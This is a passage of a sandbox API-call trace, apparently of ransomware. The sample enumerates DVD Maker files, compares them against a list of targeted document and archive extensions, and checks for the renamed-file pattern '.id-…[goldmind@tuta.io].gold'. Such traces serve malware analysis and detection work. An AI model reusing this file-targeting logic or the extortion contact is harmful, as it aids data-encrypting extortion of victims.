Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.976] lstrlenW (lpString=".dbf") returned 4 [0088.976] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0088.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.976] lstrlenW (lpString=".1cd") returned 4 [0088.977] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString=".jpg") returned 4 [0088.977] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString=".doc") returned 4 [0088.977] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString=".docx") returned 5 [0088.977] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0088.977] lstrlenW (lpString=".pdf") returned 4 [0088.977] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString=".xls") returned 4 [0088.977] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0088.977] lstrlenW (lpString=".xlsx") returned 5 [0088.977] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0088.977] lstrlenW (lpString=".ppt") returned 4 [0088.977] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString=".zip") returned 4 [0088.977] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0088.977] lstrlenW (lpString=".rar") returned 4 [0088.977] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString=".bz2") returned 4 [0088.977] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString=".7z") returned 3 [0088.977] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString=".dbf") returned 4 [0088.977] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString=".1cd") returned 4 [0088.977] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0088.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.977] lstrlenW (lpString=".jpg") returned 4 [0088.977] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0088.977] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0088.977] lstrlenW (lpString="15x15dot.png") returned 12 [0088.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.032] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2821) returned 1 [0089.032] CloseHandle (hObject=0x38c) returned 1 [0089.033] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0089.090] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.090] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.093] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.093] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.093] lstrlenW (lpString=".doc") returned 4 [0089.093] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.093] lstrlenW (lpString=".docx") returned 5 [0089.093] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0089.093] lstrlenW (lpString=".pdf") returned 4 [0089.093] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.093] lstrlenW (lpString=".xls") returned 4 [0089.093] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.093] lstrlenW (lpString=".xlsx") returned 5 [0089.093] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0089.093] lstrlenW (lpString=".ppt") returned 4 [0089.093] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.093] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.093] lstrlenW (lpString=".zip") returned 4 [0089.093] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.094] lstrlenW (lpString=".rar") returned 4 [0089.094] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.094] lstrlenW (lpString=".bz2") returned 4 [0089.094] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString=".7z") returned 3 [0089.094] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".dbf") returned 4 [0089.094] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".1cd") returned 4 [0089.094] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".jpg") returned 4 [0089.094] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".doc") returned 4 [0089.094] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString=".docx") returned 5 [0089.094] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0089.094] lstrlenW (lpString=".pdf") returned 4 [0089.094] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString=".xls") returned 4 [0089.094] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.094] lstrlenW (lpString=".xlsx") returned 5 [0089.094] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0089.094] lstrlenW (lpString=".ppt") returned 4 [0089.094] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".zip") returned 4 [0089.094] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.094] lstrlenW (lpString=".rar") returned 4 [0089.094] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.094] lstrlenW (lpString=".bz2") returned 4 [0089.094] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString=".7z") returned 3 [0089.094] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".dbf") returned 4 [0089.094] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.094] lstrlenW (lpString=".1cd") returned 4 [0089.094] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.094] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned 61 [0089.095] lstrlenW (lpString=".jpg") returned 4 [0089.095] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.095] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.095] lstrlenW (lpString="full.png") returned 8 [0089.095] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.096] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=26516) returned 1 [0089.096] CloseHandle (hObject=0x194) returned 1 [0089.096] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0089.096] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.096] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.096] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.096] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.096] lstrlenW (lpString=".doc") returned 4 [0089.096] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.096] lstrlenW (lpString=".docx") returned 5 [0089.096] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0089.097] lstrlenW (lpString=".pdf") returned 4 [0089.097] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString=".xls") returned 4 [0089.097] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString=".xlsx") returned 5 [0089.097] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0089.097] lstrlenW (lpString=".ppt") returned 4 [0089.097] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".zip") returned 4 [0089.097] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString=".rar") returned 4 [0089.097] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString=".bz2") returned 4 [0089.097] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString=".7z") returned 3 [0089.097] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".dbf") returned 4 [0089.097] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".1cd") returned 4 [0089.097] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".jpg") returned 4 [0089.097] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".doc") returned 4 [0089.097] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString=".docx") returned 5 [0089.097] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0089.097] lstrlenW (lpString=".pdf") returned 4 [0089.097] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString=".xls") returned 4 [0089.097] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString=".xlsx") returned 5 [0089.097] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0089.097] lstrlenW (lpString=".ppt") returned 4 [0089.097] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".zip") returned 4 [0089.097] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString=".rar") returned 4 [0089.097] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.097] lstrlenW (lpString=".bz2") returned 4 [0089.097] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.097] lstrlenW (lpString=".7z") returned 3 [0089.097] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.097] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.097] lstrlenW (lpString=".dbf") returned 4 [0089.097] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.098] lstrlenW (lpString=".1cd") returned 4 [0089.098] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.098] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0089.098] lstrlenW (lpString=".jpg") returned 4 [0089.098] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.098] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.098] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0089.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.099] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5088) returned 1 [0089.099] CloseHandle (hObject=0x194) returned 1 [0089.099] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0089.099] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.099] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.099] lstrlenW (lpString=".doc") returned 4 [0089.099] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.099] lstrlenW (lpString=".docx") returned 5 [0089.099] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.099] lstrlenW (lpString=".pdf") returned 4 [0089.099] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.099] lstrlenW (lpString=".xls") returned 4 [0089.099] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.099] lstrlenW (lpString=".xlsx") returned 5 [0089.099] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.099] lstrlenW (lpString=".ppt") returned 4 [0089.099] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.099] lstrlenW (lpString=".zip") returned 4 [0089.099] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.099] lstrlenW (lpString=".rar") returned 4 [0089.099] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.099] lstrlenW (lpString=".bz2") returned 4 [0089.099] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.099] lstrlenW (lpString=".7z") returned 3 [0089.099] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.099] lstrlenW (lpString=".dbf") returned 4 [0089.099] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.099] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.099] lstrlenW (lpString=".1cd") returned 4 [0089.100] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString=".jpg") returned 4 [0089.100] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString=".doc") returned 4 [0089.100] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString=".docx") returned 5 [0089.100] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0089.100] lstrlenW (lpString=".pdf") returned 4 [0089.100] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString=".xls") returned 4 [0089.100] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.100] lstrlenW (lpString=".xlsx") returned 5 [0089.100] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0089.100] lstrlenW (lpString=".ppt") returned 4 [0089.100] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString=".zip") returned 4 [0089.100] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.100] lstrlenW (lpString=".rar") returned 4 [0089.100] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.100] lstrlenW (lpString=".bz2") returned 4 [0089.100] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString=".7z") returned 3 [0089.100] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString=".dbf") returned 4 [0089.100] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString=".1cd") returned 4 [0089.100] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.100] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0089.100] lstrlenW (lpString=".jpg") returned 4 [0089.100] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.100] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0089.100] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0089.100] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0089.101] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3130) returned 1 [0089.101] CloseHandle (hObject=0x194) returned 1 [0089.101] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0089.101] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0089.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".doc") returned 4 [0089.102] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString=".docx") returned 5 [0089.102] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0089.102] lstrlenW (lpString=".pdf") returned 4 [0089.102] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString=".xls") returned 4 [0089.102] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString=".xlsx") returned 5 [0089.102] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0089.102] lstrlenW (lpString=".ppt") returned 4 [0089.102] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".zip") returned 4 [0089.102] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString=".rar") returned 4 [0089.102] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString=".bz2") returned 4 [0089.102] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString=".7z") returned 3 [0089.102] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".dbf") returned 4 [0089.102] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".1cd") returned 4 [0089.102] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".jpg") returned 4 [0089.102] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".doc") returned 4 [0089.102] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString=".docx") returned 5 [0089.102] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0089.102] lstrlenW (lpString=".pdf") returned 4 [0089.102] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0089.102] lstrlenW (lpString=".xls") returned 4 [0089.102] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString=".xlsx") returned 5 [0089.102] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0089.102] lstrlenW (lpString=".ppt") returned 4 [0089.102] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.102] lstrlenW (lpString=".zip") returned 4 [0089.102] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0089.102] lstrlenW (lpString=".rar") returned 4 [0089.103] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0089.103] lstrlenW (lpString=".bz2") returned 4 [0089.103] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0089.103] lstrlenW (lpString=".7z") returned 3 [0089.103] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.103] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0089.103] lstrlenW 